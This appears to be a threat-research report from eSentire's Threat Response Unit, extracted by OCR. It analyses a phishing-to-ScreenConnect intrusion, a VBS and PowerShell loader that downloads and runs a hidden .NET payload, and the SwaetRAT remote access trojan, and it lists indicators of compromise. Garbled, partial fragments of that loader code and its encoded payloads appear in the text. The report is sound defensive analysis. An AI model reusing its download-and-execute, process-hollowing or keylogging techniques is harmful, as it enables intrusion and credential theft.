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Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters

and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space — including the

Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced

Threat Analytics driven by our Threat Response Unit — the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We

outline how we responded to the confirmed threat and what recommendations we have going forward.
Here’s the latest from our TRU Team...

In November 2023, eSentire’s Threat Response Unit observed an incident involving the PhantomControl threat

actor(s). Based on the logs, we assess with high confidence that the initial infection vector was a phishing email.

The user was redirected to a malicious website serving ScreenConnect client from receipt-view.blogspot[.]com.
Tracing the download source, we stumbled on a compromised website hosting a malicious ScreenConnect
client (MD5: 412e11d3£f7659c7d05194cc5e0e1£32) as shown in Figures 1-2.

Figure 1: Compromised website serving malicious ScreenConnect client (1)
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Index of /.wp-cli/cache/core/.ssa/

Name * Last Modified Size
Parent Directory

) Links.txt 2023-11-22 16:45 316k

te.php 2023-11-21 16:56 4K

Proudly Served by LiteSpeed Web Server at www.jewelrycleaningmachine.com Port 443

Figure 2: Opendir: compromised website serving malicious ScreenConnect client (2)

Upon running the ScreenConnect client, the infected machine established the connection to legal-

advocate.screenconnect(.]com, which is the threat actor’s controlled ScreenConnect instance.

The instance domain resolves to 147.75.81[.]214, which was observed to be used previously by PhantomControl

threat actor(s).

Approximately 9 minutes after launching ScreenConnect, the threat actor(s) dropped File_Vbs.vbs (MD5:
91570b30470e0375c62972a268fcaee?) file under Documents\ConnectWiseControl\Temp\.

Ande Loader Analysis

The VBS script contains garbage strings that conceal the malicious code. Upon cleaning up the script, we see a

reference to paste[.]Jee domain as shown in Figure 3.

The VBS script sends an HTTP GET request to the URL, then it checks if the response status is 200. If the

response is 200, it stores the response text in a variable named “response”.

The script then executes the content of the variable using the Execute statement.

response =

rrrrr

Figure 3: Reference to paste[.]ee domain

The VBS script retrieved from paste[.]ee contained garbled data and reversed strings. After some cleanup, it

transformed into the reversed base64-encoded obfuscated PowerShell snippet (Figure 4).
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LBZe 1FZCccVFjOzcHpdifgRONDFVyAdPAXVPN : ATZURXWXruvUSSewzVFbIYcayxsggGPbzCWPSkhI1zvXEKgrDPuwyvDmXAWS j hwxXmPadRMipBnPz 1HVHGDMKME fieqQigdoNFnKW1PZSsvXRbWZ:
ks GCUHIISXbvxcxjoPxrd1iHhxhoXDuDLYkgt FMGLGZ1wXjy L HKEmXKRwnligqypLCXACC TuOuY FEZQNEQeIPOKEZ =
bwGURhuUKbvvLGVVNWimQNUKHAKkbkvF IbUDFXKNuoJ stooqE : GGdRwy tKxzoeXnj rEHNK rVUEEOGpzkb1xi L HaPvTEDGjvtqcVORYzIHsbUnymgnXYUmT iXpJevdRIwQJeHdKhnQIG jpZsGnfxd

DXXQRFRQEPQyHOWSARBXbLeWUbfvnbUIOzFDCHXPT =

RQEPQyHOWSARBXbLeWUbFvnbUIOZFDCTHXPT & StrReverse("DxujW0$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop;™)

[ dSRNrUT § iBYYLBINtBAQDYCcVQaIwObkFYQQrK n “powershell -command """ &

RQEPQYHOWSARBxbLeWUbfvnbUJOZFDCJHXPT & o, False

FdSRNrUI §iBYYLBINtBAQDYcVQaIwObkFYQQrKEDAF . Run .

b cqScROUItOHWyYbrXbIy TIr1DWXSKwDQmktls, @, False Reversed snippet of the PowerShell code

A(VZIear‘1ed-uy:»> Pow)e‘fsheil scAr‘iptb
Figure 4: Snippet of the script retrieved from paste[.]ee and the clean-up PowerShell script
Further deobfuscating the PowerShell script (Figure 5), we can try to break down what the script does:

1. The script sets the URL of an image, creates a WebClient object, and downloads the data from the URL as
a byte array.

2. The byte array of the image is converted into a UTF-8 encoded string.

3. The script looks for specific start and end flags in the converted text, indicating the presence of Base64
encoded content.

4. The decoded bytes are loaded as a .NET assembly.

5. The script retrieves a type named Fiber. Home from the loaded assembly. It then invokes a method named

VAI on this type, passing several parameters to it.

Decoded PowerShell script

T =
) -REPlaCe (([chAr] < +[chAr] +[chAr] ) . [sTRINg] [chAx] '°)

$imageurl =

$webClient = New- t System.Net.WebClient;

$imageBytes = Swel nt.DownloadData ($imageurl) ;

$imageText = [System.Text.Encoding]::UTF8.GetString(§imageBytes) ;

$startFlag = ' ; 9

SendFlag = N ;$startIndex = $imageText.IndexOf (§startFlag) ;

$endIndex = $imageText.IndexOf (§endFlag) ;$startIindex -ge  -and $endIndex -gt $startIndex;$startIndex += §startFlag.Length;

$base64Length = SendIndex - $startIndex;

Sbase64Command = $imageText.Substring(§startIndex, Sbase6d4Length) ;

$commandBytes = [System.Convert]: :F: 4String ( d) ; e

$loadedAssembly = [System.Reflection.Assembly]::Load( ) i$type = $1 1ly.GetType ( ); 9

$method = $type.GetMethod('VAI').Invoke ($null, [object[]] ('MComir L2V1LmVOc2FWL B , )

Cleaned-up PowerShell script

Figure 5: Deobfuscated PowerShell script

Upon retrieving the base64-encoded data from the downloaded image Figure 6), we obtain the .NET binary
payload, which we dubbed as Ande Loader (MD5: 92fc4d4alf6cad69ab11484e74815b50) based on the previous
method name used in the previous loaders (MD5: 48b6064beec687fc110145cf7a19640d). The Yara rule on Ande

Loader can be access here.

We have observed Ande Loader used previously by the Blind Eagle threat actors specifically focused on

delivering RATs to Latin American countries.
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0D 60 00 00
3
£ 671 5141 41 4D
41 45 é‘ 41 F
41
41
41
41
34 4ATAnNIbgBTMORVG
68 hpcyBwemSncmFtIG
4E € NhbmSvdCBiZSBydWw
34 67 4gaW4gRESTIGLVZ
55 75 UuDQOKJAAAAAAARA
42 51 BQRQAATAEEAPM3Vm fe—!
55 4 UAAAAAAAARAOAADI
45 ELAQYAAEOTAAAKAR
41 41 ARARAAPmMKTAAAGAA
41 41 AAgBMAAABAAAAGAA
41 AAAQGAABAAAAAAAAA
41 45 AEAAAAARAAAADGEW
Search (2 hits)
Offset Excerpt (hex) Excerpt (text)
611748 0D 60 00 00 00 00 49 45 4E 44 AE 42 60 82 3C 3C 42 4153 45 36 34 5F 53 54 4152 54 3E 3 5456 2...][END®B’ < <BASEG4_START> > TV
TAE204 414141414141414141414141 413D 3C 3C 42 4153 45 36 34 5F 45 4E 44 36 3€ AAAAAAAAAAAAA= < <BASE64_END>>

Figure 6: Content of the retrieved image

From Ande Loader, we can see 7 parameters are being passed to the method VAI (Figure 7).

VAl(string, string, string, string, string, stri... X

)
| CnIMSmQTTZwWPKNRDEHNL TmYWWENGMO,, aPkTmDDkWyCcUBXQLHIPSbfDCPPHZI, LrrtfcCdRrgPxHpICGUMCCRVIWQdnC ixLUbUBLGOhP2YGn1UDhIqCTwKdeGm,
yeN)OprNoquOkgHoN]le((ONOyD BrKx0ILebBmfe0U1bpcODZIXYhOUVC, mdSwlcnvkMPLZnQwok jD1SHVLUMGRQ)

Figure 7: Parameters passed to "VAI" method

The first parameter contains the link to another paste[.]Jee which contains a reversed base64-encoded blob (Figure
8).

paste.ee

A MAMAAAMAAMAMAMAMAAMAMMAMAMAMAAKGPS Y V2. 2F 21 5000180z LEd 2VncaoC
20UV IIXRKVEd Ve UmcACTEACTGACTKOgP M dua pmvmmzbvgn:Jn.mmtvaa]unmuxdmmmw,vcmu < IndpJHUKVGAzViidxVmc BACTACTgoQD+kHdpIXd }V2cBACTGAI CNA S Ty YnL ENXY662b31Cdm92cyI3Yp1WL zFb1h2YzpjbyVnI9Mnbs1GeganZul EdzVncaxDIgoQD+ 8
eyl e e e e e A e B e e B e e S e e e A e e e
AAMARAAAAQZAGHALBELAUGALBQZAUGAL BQZAUGA1BQZABGAOBEbAUGABADAME AAAQZAOGARBEbAUGA SBQaAY EASBQYA4GADBWZAKGAY BWTAEARVAAVAAAAGAAAAGHAOBWZAKGAY BQeAAHAV BHOAWGARBNZAUGAMBOAATAACAAAAAAA] BAE AUGAUAQZAUGABQZAUGAL BQZAUGA] BQbAQHAUBQZAKGAS Bwa)
e e o R R o LA s (g A D0 e R S M 4 ey (i v,qa.wmxag\»\km\yaAdmrAsmcgnMAMmMg ABGAPBAAEGASBHcA4GARBE A
EAGBgTAKEA B TABEAIBWUALFAFBg VASFATBGVAANAGTAZANAAARANAARAEGSAANOABAAAARANAAAAAY DAAGCKAAAAKAANAAAQRANAAAAABABAASABABAANANGANAAANQAAAAABABAAABABADAANG AR BANBAQABAPAAAA B AAABA GANAUAAAABAQRAANADAAANA DDA GAAHO
A AAAAAAAAAAAAAAAAAAAAAAAAAARBCATSPAAARARMGDIS7173 JNXAHS U7V E O XAAAA AR AAAAARAAAAARAAAARAAAR AR EGHARAAAARAAE {GAAAAANL TERHe 150BAEADAAAPIT THUA] L gANBOAAALGE HTH I §72V4OHS TO TGNRT
ABIFRAKQAAegQABANBY®1 EOMWBGE ggSOKESK T gS@1 E 1HOEOYWBRKTESAATF ERESAATFOT gSAATFUQHTUQLS0egS4QBACWBOBACOT ATF 4QL SEATFAGDBACBFORBAEATGI gACCABCARDCEWAGCAHAAAHUAH4QAAURCAAY AFODBASBF BRAHQEDF ORAGUQ3BKBAAUGAWRHCOBHCWRBACWENTQHCOBHAWBHi
G34gBHOACIEOEBAEBCWRLSERCOYWBI4QrBKBHCWBHY CwBLWRABACBCWhACAQBCAQACASBCWBHCHAAGWBCBAABC TQAAQAHJEAAEGBCBAABT gRAAQQCBKBGC cgBOBBCDOBHO4QAL GOE VX BHABATEQAUAAT TQAEUWAG4QHBA BOEQpBKRF GE agREQAGYACT gQKSORKS ggBHS QK SOBAAUQABGhAZ IR~ AKREB!
AUQrAKBHA@WESWRaBKBHGCWDCOBHC TAT GOXgSOBAgYEDC EATEWESAAT FUQHDF OEBAY BxFOEAAQBCOBHAWRHREOE JEOE c YWBPERESKQESEAAT4gABACBREOE JEOEY@QERAQERUS! EDGHABGRABGRAEGRAE(:th(nEJEnEvghnFAAHIBKg)EiEFEuEh!R/AkmERJRBPg<kPgMngAyEIFRvSEQAng"BG
FoEJFoEBIATIUUgSAAAF EUGREQEREQERKT g SEABEBACT gACBQATHOT gRUSETEACT EgBEWAC TEGAGUQOBKR/ AKRAAGONBGBC T EwAggQABGBAGUQMBKBAAUGD] EoE BAGBEY EBEAAGI QABAABCAEDTMAAGKR gREEDO4QHE AGCOBRAHQEDO4gDDAEBORhACG0E SWRBHOg DA4QAAUQEAKBAAUEDO4E AGUEACUQ
yAwan:xuuuwcngduhzdaqmahuvxsncwmgqu;xgwcrascmgssc\zxgqsdgAsgoQuAsutAsnsnumncodcusdcoeccmceEasAmgQAsAAsoqwcnxvtsmmw-bldcrsuccsnswzﬂmowhsduexkvcah:xvuvmm»\asmsmgum::Rusmr«gmmm \CBAABAAARAEQE]
Xz ImdyV2UuTWZX5Sb1R3CSNFNAEQYO4DOEABE CAAC EWBEAGHBOABA4BABARBOEWBDUNEB CABXF RF SEAAGEQAHMEABCWACWRAAQAAATXZOVHC t92QukXTLAQAQAAAZV2YPZNc INLY1d1L 51 KDAEWEAAgbY] GdhNWasBHCBSSeNSAABMBAATXZ 2V L 510BAEADOEQAEQAF SEWBEEhEBCAB T TRAHQADSE]
'YgAGDA1BFJBGBASBCkKEYEBCFIRBEOAGCEGAGUAPRYWASERBDGAAAMASRYWAT FBECEAAGEQLSEBCDAWBO4QAAQQNS YWAF ShDBAQBOUQHBAQBF ORBAEAAGEEDBAAB X hBDAgeAKHAGBNIAYHABAJAMHAYBOCAAHAVBEbABGAS BNaAOGADBAAACGARBOZAQGA JBEYAE GNEFBRREAAGT AAAMQCIKGAAUAG)
EAAFAQKSEAAFgA(lERADANH1Ei[BAQBAMABQAGlgAG(QAANgYEQ!QMYQGJmB(QMHgA(!gA(BUAAIUQHcEAAFuQHOEgAAYQSdEQAAUANAAwAOEQAAQAHBEAAE!gBCuhEt%Emg(GIQPAVMLIhBDggB(ng(AwEAg(EANhHDAuEAA(EANhAMEEEEQAw:MeAgHBEAEHAgM(MAgNQF(AA!EgM A
N L5y D AN LA A AL Ay ARG AR AQOCAR A At VD A AL AR QLGN DA AR oGl 1OQZAACE AN 1D A Lo gAML ey I NG D | AL BN DG T AANINGK
AyBAXrAAACBAXFAAAY ARCF ARAEBQSACFATBATATHAY BQRRAAASBQYATHAYBQOABGAUIAAAGGAZ BOAAWGAG AAAUGAOBQAATHAX AAAA}GAhE‘.qJIv(AAgeAkHMdeA\mlBAdAHNAy O AANAVBEAGGASBaA0GAPBAUACGABOZAQGA]BEVAEUNAAMPABDA/ CARAUGALBQYAGEATOWCAUGA JBWATHA
PsAnonALs.QAszmewmrAeewq»muwmEuAesQamhswqudagw«:uuxwxwmqwzzs»w;mE:qsw,\,1cAAgbA\chsmwdswaAnuAnagQA,vn»wammhsgq:w.squ,zAWng\amawwsqu,\mwaagamswpwssqm,Eaasgm\ma»mnEMQeAuaALs
9AAA4GAYBQJAQHABEUNAAAJBQRAMEABBAUAMFADIAAAUGA JBQYAAHAT tAAAD1 AAAWWDAAAY BQZAAHAWBQVABGAUIAAAACAG AATAQGAUBQIABGAGB ATAC GAUBQaAS GAUBQYATUTAAECAUGA3BrbAWE AVBAVPAAANBQZAAHAGBWL AUGANBQYABGADVBAATY ABART AACAL BADAKGAGBQLAACAZBWCAEGAWEQe]
8ZABUFAAWCAEGAUBQAAT3CAAAVAKEAYBORAACARAATAT SEAAE TAACAI AGTAACAUBEUAEEAUBNUAACAF BwlbAAAKBObAM2BAANQAE EAVAAAAAHAVBAAWGAVBECAMGAT F BAA4GA3BWbAQEASBADABGAY BWYAMVFAAQEAUGAL dAAASGA JBQaAWGAD AAAW1AAAACABGAY BARASGAZBOZAQUEAAWKAQEAS:
B A D G e AN AT B Ao R YO A AN o A AN LN G ARy Do Iy DR AN CHOOR Ao BN Y 2 AN LR Y AN L W LK 1B Ao A LAV ATV
AQHAUAWZABGAMBAXRAAAWBQbAUGAB AAAT GAHBERAC EARBQNAMFAOBARAUHA BQCA4GANBQC f AAASBQRATEANBQRAY FAPBE TABFAUBQRAE EAXBWUAAAA+AQZ AQHAVBQbAUGASBAPRAAAZAGHAADAY kQAASGAUBQAA4CA2BEdABGANBQLAMHAUBAZ ZAAAThXZulMZ 1VWZ 1 VWZ]116duVWasNEALVIZ 1VHZ 1V
RinR’byBVestb]NscSSQZBVanJNdDFEdodHay]Hc\VNUesJl-lb1N>:BBQ.aVanJHdeFaayFHb)R\-Iv’ywesJNb]NBcBSQZGVanJMGFkbv]2cyVmV]vNaGleiIHZ:NXQAUGdleayRHdBRwaldEAlRXdi]mcaRXQSRKasanpkwiubwapRnb:jFAlRxdi]nceka:sszvaAFﬁb))]bvlﬁdhyu
ECtVGVEV2RAMHZU92Y INVbvInRAQmb19mUAGGh 1EAGSHAVNGa] LGV RXZNBAA4VIT 1Z3bNBQb1RXS FRXZNBAJUVCYV3QF RXZNBECVRXY yVib 15WROV2RAQXZHBECVRXYyVib 1SHRONWZG] 2TOSHZV2ZhSWYNBgbV1Gd jVGbs 9 208NWZq 2 TOSWZ Y 2ZhSWYNBA jVina 19UZZF mQBSWZ EV2ZhSHYNBEC
AYVGZpZ3byBVZj1mdyV2UVRHC513Q1QUTAKHaWF mCn9GAwLncD55e0lmc INWZTSSb1R3CSNFALXGZUF GSO1WYXBAN2QbIBQZ6 1 2UsF GdvR1X@V2ZABnZ u1UZ2 Imc EBAGVOmUORXYQRXZHBQey9Gd VmcpRUB 1R3C SN1XBV2ZAUWbh SUZu1Ga JFWT FRXZnBAdUV3bDI3bzNXZ j9mcQ9F d1dGAnSwayR3U
ONOXBV2ZAgGAnSWZMOF d1dGALX2bSShS 21 EALX2bSSMSOxha110C39GZul 2VAWKY ] 2Yu LmcQN3dvRmbpdF ABSHZy IXDRXZHBQe@1 GduVGZ IN3dvRmbpdF ASF GepNmbpIHUukHApIXd 5V2UuBWZONXe TBQZwIHVKV2ZhShY t SWVAUGA1 JiayRHABNXQsF Gaz IXYNBAbsRL yMDb15mc 1 tGAINWYwNVZ61d
RXak52bDBWCSV2SATXZnVGdulUVVRF Ay MDAU1 EAYMDAu1 EZhVmUAKHApXHY 1FXRFB3bAQXa3 1GbwhXR fB3bATXZ01mcX1WY 1 JHATBQZ tFmT 2NXZ9mcQOF d1dGAUVNUAQGZBBWC 1WY052bDBEChh 2QAMHd 2 1GeFBQHUER3CPXEA ] Lmc 1SZHSy Cu9WaONWZ sx2bDSSbR3C SNFAK SaL RXdv 1XYMBQZOVA
GUFRXZNBQeB1GbhVXUATXZK92YuVEAZIXZ@VAbh IXYQIXZk92YuVEAY VG 1 TWYy F Uy VGZVNnbFBQZS WY 29GC 2 IGRJBWY khUZZFWZSVUAMGZ TRXZHBGZPVine pNF ASF Gaz JXYNBACVR1X@V2ZAQNZ1xeXoV2 ZANnC IRXZt FnchBFd 1dEAVZnb) JXZOVWbh IXYQBQZ 2FmQk9Ga@VKTAUWbh SOXGV2ZASn Z:
djVinai9E ZkFEAORXaXNHZUVEAYV2dvXxBbUBNCyVmepXWYuLnRnShakSWZQ) 3bGRXahdFALdWY zNXZN9Fd1dGABhXZUXGbBRWY1IFAvZmbIRnChR3UTRXZZBQZ6V3Y1hXRS XWZONVZ2V1XBV2 CALmc 1Z1X0V2CAUGh SR3U396Zu] 2V FRXZZBQZS IHATd3bkSWaXN3C IN2byBF AZRnb 1 1dnIXQf RXZZBQZE
aBgC@BFdulUVAUGASI0bUBEbhVGbYOmQVRF AuIHag] 2cVB1XBV2CAT 3bzIXdDBNC 1RXeCXGbBVGdpI 3VAUGbZEAORXYQIXZkx 2bGRXZHBEC 1RGbYZEbh12Y183UAQ3Y1pmYPVGAhSWZGF 2Yu9 20AQKZHVGAXEAL pXaTOF d1dGAZSHZ1I3YTXGbBIF d1dGAnSHayR3UBYTZz FmQuRFASFmcy FObUBQZ2F 2}
A TR A 08 o 2 T S i T o A VB Uy AT o ATV W YR SOSE ob o1y e T TRbeo7 Ttz IS DU Cor e 200 B Y YRV O A hecc gl
FAnShayR3UBYTZ2FmQtomc GBwZu 1mcONVZy FGc t92QAMnCVRXYyVGcPBAdpxGE TBAZvhGA1 1UZy FGC t92QAM3Zulmc ONF AvZmb IRnchR3UZNXZ 9mcQBAdu1 2bQBwc 2V2YvIHUAGKY1 JHATIncy IWZNBWT J55b1R3CSNFAL X2ZuF Gd jVmUAM3YphGch) 3RAQnb1 1GbDIWZXBAA 15k tVGdz 13UAQ3Y 1xGby
UPSFA1dGALIHYOIXZ2VIXOV2ZAGZulk 1R Xd1 260BADSOGUAUGZVLE 4 VD INFAZVGASTEALEAY VGAuVEAY 9Gdp' 2bNBQZWIVIVHEZLEP L 2Yvx@Y 13Uy SmRrNWZONEAS Imc05 26035 ZEd Vmai OEANHY 1xGbHNK < 111aUBAdVebud 20A0nC1ZnbyNEAINbNEALN3 bwliXaEBA4VATAT by
592bCBAyFGATRWY1JHaURWZ6 Lnc LRXZ tFmchBFARXeCBEHZQnb J9GVAIXZOIXZ252bDRXaCBQZ2 1Z VimUAM3ZhxmROV 2319 2UAUGC SRFbVN2bOImCQBOZW1HVOV 2339 2UAKHbp WY GN3 c 1JHZKF EAUIWaOBXZI hXRAUZXFRSYKJWbhXOXAATYAQZX FRS Yk IbhxBXAUGA1 JWayRHABRWY 1 JHaUF EVTI

Figure 8: Reversed base64-encoded blob

The decoded base64-encoded blob is a core payload which we dubbed as SwaetRAT based on the group name/ID
(Figure 18). The core payload gets injected into RegAsm.exe via process hollowing (T1055.012), as shown in

Figure 9 via Fiber.Class1 class.
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(textd));

Wow64SetThreadContext

SetThreadContext

GetThreadContext

VirtualAllocEx

WriteProcessMemory
ReadProcessMemory

ZwUnmapViewOfSection

CreateProcessA

Figure 9: Injection of the core payload via process hollowing

The second parameter is null, which means no AntiVM option was enabled. The AntiVM feature would check for

processes that contain “vmtoolsd” or “VBoxService” (Figure 10).

num2
num

Figure 10: AntiVM feature

The third parameter is “2” which makes the binary check for the presence of the initial VBS payload named

“VbsName” under C:\ProgramData folder on the infected machine via switch-case structures.

If the file doesn’t exist, it proceeds with creating a persistence via Startup (T1547.001) with the shortcut file

named “LnkName” as shown in Figure 11.
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Sharpinderflags

LnkName

+ mdSulcnvkMPLZNQuok jDISHVLURGRQ +

Figure 11: Creating persistence via Startup

SwaetRAT Analysis

SwaetRAT (MD5: d6d29037517bb1d8202efbf39534df7a) is a 32-bit RAT written in .NET. Like other RATS,
SwaetRAT has keylogging capabilities. The logged keystrokes are recorded and saved under % TEMP%/Log.tmp

file (Figure 12).

(ob34));

(ob34));

Figure 12: Keylogging feature

The RAT enters an infinite loop with the pause of 2 seconds for each iteration and looks for mentions of Paypal

and Binance in the Log.tmp file and if found, it appends “Banking Found: ” and sends it over to C2 (Figure 13).

Figure 13: Looking for specific strings in the Log.tmp file

Within Info method, the RAT collects system information (Figure 14).
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It constructs this string by concatenating several pieces of data, separated by a delimiter defined in

Settings.Splitter, which is “<Remote>".
The information includes:

e A fixed string “info”.

e The unique ID of the system. We will talk about the ID generation algorithm later in the article.

e The current user’s username (Environment.UserName).

o Information about the operating system.

e Whether the operating system is 32-bit or 64-bit, determined by Environment.Is64BitOperatingSystem.
e Antivirus information obtained from a method call to Helper.Antivirus().

» A group identifier or categorization from Settings.Group (“SWAET_NOVEMBER?”).

e The result of a User Account Control (UAC) status check from Helper.UAC(), indicating whether the

current user has administrative privileges.

The UAC Method checks if the current user has administrative privileges. It attempts to create a
WindowsPrincipal object for the current user Windowsldentity.GetCurrent() and then checks if this user is in the

role of WindowsBuiltInRole.Administrator.

If the user has administrative privileges, it returns true; otherwise, false.

e(WindowsBuiltInRole.

Figure 14: Info method

An example of the traffic for the SwaetRAT is shown in Figure 15.
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" 8¢ -..Pd g " ...pong. .. -..pong.....pong
....pong<Renote>0
.. .pong<Renote>a

b
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Figure 15: Traffic capture
The ID generation algorithm is as follows:

o The Hash method collects various pieces of system information, including the number of processors, the
current user's name, the machine name, the operating system version, and the total size of the system's
primary drive.

e The collected information is concatenated into a single string.

e The concatenated string is passed to the GetHashT method, which uses the MD5 hashing algorithm to
generate a hash value from this string.

e The hash is converted into a hexadecimal string. This string is then truncated to the first 20 characters and

converted to uppercase, forming the final ID.

strToHash)

Figure 16: ID generation algorithm

ReadPacket class (Figure 17) is responsible for command parsing from C2. It receives the data, which is

converted to a string and split into parts using a delimiter.

Based on the first element of the array (text), it determines what action to perform. Several commands are
handled:

e "pong": gets a "pong" response back from the server from “ping” messages. Possibly used for connection
status checking.

o "Sendfile": Executes RunDisk method, which writes and executes a PowerShell file from received data.

e "Memory": Executes the Memory method, which loads and executes an assembly from the given byte
array in-memory.

e "Web": Downloads a file from a URL and executes it.

e "Close": Disconnects the TCP socket and exits the application.

e "Restart": Restarts the application.

e "Uninstall": uninstall the RAT via the batch script.
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e "$Cap": Captures a screenshot and sends it back to the server in a base64-encoeded and GZIP-compressed
format.

e "RemoteDesktop": Sends back the screen size information.

e "RD+": Captures live screen data.

e "DeskDrop": Writes a file to the desktop from received data that is base64-encoded and GZIP-
compressed.

o "UAC": Attempts to elevate privileges if not running as administrator.

o "OfflineGet": Sends the content of a log file to the server.

er, -1, CompareMethod.

(array[1]1)));

(array[1])));

(6) + array[1]);

Figure 17: ReadPacket class

SwaetRAT creates the mutex “qVnqcuDNS5fGFGb”, which is defined under the Settings class in the

configuration (Figure 18). If the mutex already exists, the process exits.
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Figure 18: SwaetRAT configuration

A Yara rule on SwaetRAT can be accessed here.

What did we do?

Our team of 24/7 SOC Cyber Analysts isolated the affected host and notified the client of suspicious activities.

What can you learn from this TRU Positive?

e The use of ScreenConnect, a legitimate remote access tool, by the PhantomControl threat actors
underscores the trend of threat actors leveraging legitimate software for malicious activities.

 The final payload loader from Ande Loader is dubbed as SwaetRAT. The creation of persistence via startup
folders and the use of process hollowing techniques shows how the RAT tries to maintain its presence on
infected systems.

e The RAT's capabilities include monitoring for specific keywords (like PayPal and Binance), exfiltrating the

data, and retrieving additional payloads via various commands.

Recommendations from our Threat Response Unit (TRU):

Protecting against malware requires a multi-layered defense approach to defend endpoints from malware and
detect or block unauthorized login activity against applications and remote access services. Therefore, we

recommend:

e Protect endpoints against malware:
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o Ensure antivirus signatures are up-to-date.
contain threats.

e Encouraging good cybersecurity hygiene among your users by using Phishing and Security Awareness

Training (PSAT) when downloading software from the Internet.

Indicators Of Compromise

Name Indicator

Initial website serving as a o
receipt-view.blogspot[.]Jcom

redirector

Compromised URL jewelrycleaningmachine[.]Jcom
ScreenConnect 412e11d3£f7659¢7d05194cc5e0e1£32
ScreenConnect URL legal-advocate.screenconnect[.]Jcom
ScreenConnect IP 147.75.81[.]1214

File_Vbs.vbs 91570b30470e0375c62972a268fcaee?
Ande Loader 92fc4d4alf6cad69ab11484e74815b50
SwaetRAT d6d29037517bb1d8202efbf39534df7a
SwaetRAT C2 dns-govv[.]ink

URL hosting SwaetRAT binary  paste[.]ee/d/k7m1f/0
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uploaddeimagens.com][. ]Jbr/images/004/666/676/original/vbs.jpg?

URL hosting Ande Loader
1700182879
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To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next

Level MDR, connect with an eSentire Security Specialist now.
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GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your
organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7
Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and
works as an extension of your security team to continuously improve our Managed Detection and Response
service. By providing complete visibility across your attack surface and performing global threat sweeps and
proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending

your organization against known and unknown threats.
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